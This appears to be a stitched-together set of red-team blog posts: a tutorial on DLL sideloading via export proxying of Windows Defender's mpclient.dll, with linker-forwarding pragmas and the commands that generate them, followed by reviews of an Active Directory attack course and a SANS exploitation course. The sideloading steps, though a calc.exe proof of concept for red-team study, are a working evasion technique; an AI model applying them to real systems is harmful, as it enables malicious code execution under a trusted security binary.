Finding exported functions from the legit DLL

Before we can finalize the malicious DLL, we will need to get a list of exported functions from the existing legitimate DLL on disk and add it to our malicious DLL. In order for the executable to run properly with our sideloaded DLL, we have to add the DLL’s exported functions to the malicious DLL to forward these functions to the legit DLL on disk.

Now to get the exported functions from the legitimate DLL mpclient.dll at its expected location (detailed here), we can use this PowerShell script with the following commands:

PS> . .\Get-DLL-Exports.ps1
PS> Get-DLL-Exports -DllPath %PROGRAMDATA%\Microsoft\Windows Defender\Platform\%VERSION%\mpclient.dll -ExportsToCpp C:\output\folder\MpClient-exports.txt

After executing the PowerShell command, the output file MpClient-exports.txt should have all the DLL exports in it as shown below (shortened for brevity):

// --> ADD ALL EXPORTS BELOW TO THE TOP OF YOUR .CPP APPLICATION <--
#pragma once
#pragma comment (linker, "/export:MpAddDynamicSignatureFile=MpClient_orig.MpAddDynamicSignatureFile,@43")
#pragma comment (linker, "/export:MpAllocMemory=MpClient_orig.MpAllocMemory,@44")
#pragma comment (linker, "/export:MpAmsiCloseSession=MpClient_orig.MpAmsiCloseSession,@45")
#pragma comment (linker, "/export:MpAmsiNotify=MpClient_orig.MpAmsiNotify,@46")
#pragma comment (linker, "/export:MpAmsiScan=MpClient_orig.MpAmsiScan,@47")
#pragma comment (linker, "/export:MpAsrSetHipsUserExclusion=MpClient_orig.MpAsrSetHipsUserExclusion,@48")
#pragma comment (linker, "/export:MpChangeCapability=MpClient_orig.MpChangeCapability,@49")
#pragma comment (linker, "/export:MpCheckAccessForClipboardOperation=MpClient_orig.MpCheckAccessForClipboardOperation,@50")
#pragma comment (linker, "/export:MpCheckAccessForClipboardOperationEx=MpClient_orig.MpCheckAccessForClipboardOperationEx,@51")
#pragma comment (linker, "/export:MpCheckAccessForClipboardOperationEx2=MpClient_orig.MpCheckAccessForClipboardOperationEx2,@52")
...

From the output, can see that mpclient.dll has many DLL exports which we can add to the top of our code now, just under the #inclue import lines.
Once you add the exports to the DLL code, it should look something like this:

The export functions will forward execution to the legitimate DLL, named “mpclient_orig” as seen from the output above. To use this, we’ll have to rename the original DLL to mpclient_orig.dll and place it in the same folder as the legit EXE and malicious DLL to execute the DLL sideload.

Now compile your malicious DLL in Visual Studio or using cl.exe to the output file named mpclient.dll!

An alternative method with Python

Another technique to do DLL proxying, which is my preferred method, is to proxy DLL exports to the DLL on disk in its original location (i.e. C:\windows\system32). That way you don’t need to have the original DLL in the current folder of the executable and malicious DLL. These exports can be created with a similar script in Python which points the DLL exports to the full path of the DLL on disk instead of the DLL in the current folder.
For example:

python Find-DLL-Exports_DLL-Proxying.py "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2201.10-0\MpClient.dll"
// Export DLL functions
#pragma once
#pragma comment(linker,"/export:MpAddDynamicSignatureFile=C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2201.10-0\\MpClient.MpAddDynamicSignatureFile,@43")
#pragma comment(linker,"/export:MpAllocMemory=C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2201.10-0\\MpClient.MpAllocMemory,@44")
#pragma comment(linker,"/export:MpAmsiCloseSession=C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2201.10-0\\MpClient.MpAmsiCloseSession,@45")
#pragma comment(linker,"/export:MpAmsiNotify=C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2201.10-0\\MpClient.MpAmsiNotify,@46")
#pragma comment(linker,"/export:MpAmsiScan=C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2201.10-0\\MpClient.MpAmsiScan,@47")
#pragma comment(linker,"/export:MpAsrSetHipsUserExclusion=C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2201.10-0\\MpClient.MpAsrSetHipsUserExclusion,@48")
...

Note that the DLL exports point to the full path of the DLL on disk so we don’t need to have the original DLL in the current folder with our executable and malicious DLL.

Putting it all together

To combine everything together and actually execute our DLL sideload with the PowerShell script with original DLL in the same folder, we need to copy the original EXE, malicious DLL, and original DLL to the same folder. Place the following files to your target folder with these naming conventions:

• MpCmdRun.exe
• mpclient.dll (malicious DLL)
• mpclient_orig.dll (original DLL)

It should look something like this:

Finally, we can double-click or execute MpCmdRun.exe from command-line and we should see calc.exe spawn in the foreground if it properly worked! Note for this executable, you may have to disable Defender first to get it working. But generally as a proof-of-concept we’ve shown that the DLL sideload via DLL proxying of Windows Defender works!

If we do this using the alternative method with Python referenced above which proxies exports to the original DLL where it normally resides on disk, then our folder structure would look a bit different as it only requires the malicous DLL sideloading our EXE:

• MpCmdRun.exe
• mpclient.dll (malicious DLL)

Link: https://github.com/wsummerhill/C2_RedTeam_CheatSheets/blob/main/CobaltStrike/BOF_Collections.md

Link: https://github.com/wsummerhill/C2_RedTeam_CheatSheets/tree/main/CobaltStrike

In March of 2020, I signed up for the Attacking and Defending Active Directory red team labs course by Pentester Academy. I’ve been doing red teams for a couple years so I wanted to fine-tune and improve those skills further for Active Directory attack techniques.

This is the first red team course by Pentester Academy as part of their initiative to create red team labs and certs. The course covers everything from tools and techniques, AD environments and fundamentals, Kerberos, persistence, Domain and Enterprise Admin attacks and more. It is a technical course and certification which is fully hands on and is tons of fun since you get your hands dirty with all sorts of complex AD attacks. The Course

You can sign up for the course lab for 30, 60 or 90 days with extensions if needed. Upon signing up and paying I got access to the lab and content within a day or two. The content is all in PDF and video format and taught by Nikhil Mittal. He is the creator of multiple AD attack-related tools and he’s spoken and taught at conferences like Blackhat and Defcon.

The general idea of the course is to emulate an adversary who already has internal access to a network (aka the “assumed breach” phase of a red team). There is no actual exploitation of vulnerabilities in the course - only abuse of functionalities and normal configurations in AD. The lab gives you a good understanding of an example AD environment with multiple domain forests and trusts and several Domain Controllers and different types of machines to target.

The course content generally covers:

• PowerShell and AD
• Domain trusts and domain enumeration
• Credential replay attacks
• Privilege escalations
• Credential dumping
• Kerberos attacks
• Cross-forest trust attacks
• Delegation issues and AD persistence techniques
• SQL server trusts
• Defending and detecting against attacks

The course tools are VERY heavy on PowerShell, PowerView, Microsoft’s AD module, Bloodhound and some other tools but those are the critical ones. By the end of it I was able to run tools and commands as if it were second nature.

The lab is a good size but not too big and may only take a a couple weeks to a month depending on your time commitment and motivation. I’d highly recommend understanding the material and exploitation techniques in order to properly learn the content instead of just copy/pasting commands. It really helps in the exam to know the actual technical fundamentals and understandings of the tools, attacks, what they do and why they work in order to pass.

After 2 months of lab I was ready for the exam. I had gone over all the videos and content several times, practiced with various tools and tactics used, and owned all machines multiple times using the course book and on my own.

I had reviewed some key content before the exam to prep which included:

• Enumeration, enumeration and enumeration!!! Trust me when I say to know your enumeration tools, commands and what you’re looking at in the output!
• Credential dumping with Mimikatz
• Credential replaying with Mimikatz
• Kerberoasting
• SQL server attacks

The Exam

The exam is somewhat like the OSCP except you don’t have to exploit anything. It is definitely tricky and mean to deter you. Similar to the OSCP, you have to enumerate EVERYTHING. I definitely spent the most time enumerating and the remainder exploiting, taking notes and then writing the report.

The exam itself is 24 hours and then you will have the following 48 hours to produce your pentest report with detailed findings and recommendations. The more details/references/steps/screenshots/links/recommendations the better.

Similar to the course, the goal is to take advantage of misconfigurations and valid functionality in AD in order to own all systems. There are 5 machines total in the exam to own. You may still pass if you only own 3 or 4 and produce a high-quality report, and if you own everything then my understanding is the report can be somewhat less thorough. However, exploitation steps should be well detailed with thorough recommendations if you want to guarantee your chances of passing like I did.

Some general tools I found very helpful in the exam:

• PowerView
• AD Module
• Invoke-Mimikatz
• Invoke-Kerberoast
• PowerUp
• PowerUpSQL
• Rubeus
• Bloodhound

After spending hours and hours enumerating a ton, once I figured out the first few attack paths and mapped the entire network I was able to pop the first couple machines. After that, all the machines started to drop like flies as I owned them one by one. At the end of the exam I had owned all machines and was on my way to working on the report. After the first 24 hours of the exam, I spend about another half a day on the report while taking my time and making sure I included everything.

Pro tip: Don’t forget to sleep, take breaks, eat healthy-ish food and get some air to clear your head when you’re stuck!

After submitting a full PDF report I received a confirmation email from the lab team. 2 days later and I received the congratulatory email that I had passed!

I’m happy to say I thoroughly enjoyed the course and especially the lab and exam. I got to develop and fine-tune my AD attack skills to gain a better understanding of attacks and tools which will come in handy in future red teams! Thanks to Pentester Academy and Nikhil Mittal :)

Course Experience

The course itself was intense and very fast-paced. Jake went through each subject in the course quickly so you have to be paying attention to keep up while simultaneously taking notes. There’s so much information in Sans courses that we frequently heard the phrase “drinking from a fire hose” which I can attest to. There is some time to stop and ask questions but that is usually only carved out during exercise/lab time, at lunch or after the course is done for the day.

Day 1: Network Attacks

Day 1 gets started with a quick review of the course and setup of the lab environment then gets right into the material. The content starts off with network-based attacks around NAC, VLAN, MitM and some new Cisco protocols that I never knew of before. Some of the tools like Ettercap/Bettercap were review for me, although they went more in depth than what I previously knew. Some other MitM tools like Loki and ISR Evilgrade were mostly new to me as well. The afternoon composed of IPv6 attacks, more MiTM (sslstrip stuff) and SNMP based attacks.

It was a good introductory day overall. Nothing overwhelming yet so I was feeling pretty good about it. The one thing I noticed immediately was the fast pace of the course and the considerate amounts of content covered.

Day 2: Encryption and Post-exploitation

The second day got right into crypto once we got settled in. There was a quick review on stream ciphers, block ciphers, their mode types, and then went straight to the crypto-based attacks such as CBC bit flipping attacks, Oracle padding attacks and hash-length extension attacks. I thought I had a general idea of what these were before, and have fired off some exploits on them in the past, but to actually go deep into the low-level details of how the attacks worked on a cryptographic level was very interesting and complex (also fast-paced to follow along to).

After that, the day covered restricted desktops, Powershell stuff (nothing new here) and escapes and privilege escalations. There were some new techniques involved for escapes, but not very often do I find myself in the situation where I need to use this type of knowledge. The priv esc stuff was mostly review since I’ve done the OSCP, but it still helps to cover some of the specific details around these attacks again.

The labs for this day were fun. We got put in a structured environment and had to hack our way to the “boss’s” machine and recover his sensitive files. It involved some enumeration, application escapes, privilege escalations and pivots to additional servers.

Things are fast and the crypto was hard but I’m still feeling alright. Onto day 3!

Day 3: Python and Scapy

Day 3 was a bit of review for me with the Python but it was a good introduction into fuzzing as well. The course goes over two main fuzzers - Sulley and American Fuzzy Lop (AFL). The exercises were useful to actually get your hands dirty with the fuzzers and the additional tools that work with them.

Day 4: Linux Exploitation

Now to start the real fun stuff. The Linux exploitation day started off with really fast-paced coverage of Linux memory and files then went straight into the GDB debugger and shellcode. There were a ton of new concepts here that I had no idea even existed before and it turns out this stuff is really important to know for exploitation development and to pass the exam.

After that, the real Linux exploitation began. We first did a standard buffer overflow with GDB, then we learned about Ret2libc style attacks and went through a Ret2sys attack on a local Linux VM. There was a brief introduction into ROP and gadgets which was just a small taste of what was to come the next day. The more advanced stack smashing techniques included a very difficult to understand canary exploit (which I eventually got with help from a classmate and the instructor) then an intro to ASLR bypasses. We completed two separate ASLR buffer overflow techniques, one with the linux-gate-so.1 static library and another using the Exec() family of functions for newer version of Linux.

It’s safe to say it was a really intense day and the first time I felt really over my head with this course. I went back to review more that night and do an additional bootcamp buffer overflow exercise since we didn’t get to it during after-class hours.

Day 5: Windows Exploitation

If there’s anything myself and many other classmates were feeling after today it’s this: mind blown. Here’s why…

The last day of class started out with a detailed outline of Windows memory, object files and OS security controls. It’s boring yet important to cover these first since this is what we’ll be exploiting very shortly.

After that, we got straight into overflow attacks to defeat hardware DEP with ROP. We first did the basic buffer overflow against our target app to go through the steps of setting up the app and exploiting it while using a debugger. The next overflow was an SEH overwrite to control the SEH chain of exceptions and gain stack execution. This technique was a new concept for me so it was good to learn another new type of BO attack.

The last buffer overflow covered in the course - and the most intense - was using ROP gadgets to execute the VirtualProtect() function to enable execution on pages of memory where your shellcode resides. This techniques works to bypass both hardware DEP and ASLR at the same time. If you’ve never done a ROP chain before then you’re in for a nice yet excruciating surprise. By the time the instructor went through the attack and all of the gadgets the entire class was basically speechless. I think a couple people could follow along but I was one of the many who was mostly lost the entire time since it’s very fast-paced and a totally new and complex technique. Thankfully you don’t have to write your own ROP gadgets, however just the large exploit and script we used was hard enough to follow.

This was easily the most difficult day, and I felt wiped by the end of it since everything has been leading up to this point. The ROP chain attack was the nail in the coffin. But I still survived, and it was time to take a short break before CTFing tomorrow.

Day 6: CTF

CTF day - yay! The CTF was quite fun since it utilized tools and techniques learned throughout the previous 5 days. There were some good buffer overflows which got exceedingly difficult (I couldn’t come close to doing them in time) and a good variety of both Windows and Linux attacks, crypto and cool trivia. My team ended up winning (thanks to them) so we got the coveted 660 challenge coin…

Exam Prep

Here’s a short list of useful requirements to prep for the exam:

1. Read the books as many times as possible. Highlight ALL the important stuff, write it down, say it out load, then read it 5 more times.
2. Re-do ALL of the exercises and boot camps as much as possible. This can’t be stressed enough. Especially the buffer overflows in books 4 and 5!
3. Make a strong cheat sheet and color-tab your books. I’d highly recommend some methods in the “Better GIAC testing with pancakes” article.
4. Use both of the practice exams and take them seriously as if they were a real exam. Take notes during the practice exams too if you have time. They are in the EXACT same format as the real exam so this was critical for me to have more confidence going into the real exam. And practice the sections that you did poorly on even further before the final exam.

Exam

I took the exam about 3 months after I started the course and I had scheduled it for a Saturday early in the afternoon. I figured there may be a lot of tricky questions or curve balls so I couldn’t help but overthink some things going into it which is only natural.

The exam was 60 questions long and scheduled for 3 hours. The last 6 questions at the end are reserved for the in-browser VM practical questions. Knowing this, make sure you divide your time properly so you have enough time for the practical questions. I planned to spend 45 minutes on the practical questions but didn’t end up needing that long at all.

Once I got into the exam I knew what I felt comfortable immediately. I gained a lot of confidence and was certain most of my answers were correct. It’s important to read everything very carefully, both the questions and answers, to make sure you don’t miss anything and choose the right answer. Once I got to the remaining 6 practical questions I knew I was doing well. These questions were just like the practice exams so I knew what to expect. Most of them were easy if you’re prepared, and there was one really fun exploit requiring a buffer overflow to answer.

Overall, I had a great and unique experience with my first Sans course and exam. The bootcamp style course is evidently intense and covers A LOT of information. This made studying a lot longer since there is so much material to know and review. Passing that exam felt amazing especially after feeling so prepared. I’d do it again but I’m happy to finally take a break until I figure out what to do next.

YourAcclaim Link